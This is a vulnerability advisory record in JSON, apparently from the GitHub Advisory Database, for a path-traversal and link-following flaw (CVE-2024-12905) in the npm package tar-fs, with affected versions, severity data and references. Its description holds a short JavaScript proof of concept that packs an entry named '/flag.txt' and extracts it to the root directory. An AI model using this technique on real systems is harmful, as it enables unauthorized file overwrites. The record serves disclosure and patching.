{"id":"GHSA-pq67-2wwv-3xjx","revision":"b21d2c8dffd14b3d8c91018f6c3b250a","records":[{"revision":"b21d2c8dffd14b3d8c91018f6c3b250a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-pq67-2wwv-3xjx","aliases":["CVE-2024-12905"],"title":"tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File","description":"An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n    // We can ignore the file type checks to allow the extraction of the malicious file\n    ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n    throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```","state":0,"publishedAt":"2025-03-27T18:31:28+00:00","modifiedAt":"2026-09-10T03:50:23.1707674+00:00","affected":[{"ecosystem":"npm","name":"tar-fs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.16.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"tar-fs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.1.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"tar-fs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.0.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-12905","https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed","https://arxiv.org/abs/2506.04962","https://arxiv.org/pdf/2506.04962","https://github.com/mafintosh/tar-fs","https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html","https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs"],"sourceUrl":"https://github.com/advisories/GHSA-pq67-2wwv-3xjx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pq67-2wwv-3xjx","identifiers":["GHSA-pq67-2wwv-3xjx","CVE-2024-12905"]},"retained":false,"historicalAffected":[]}],"coverage":[]}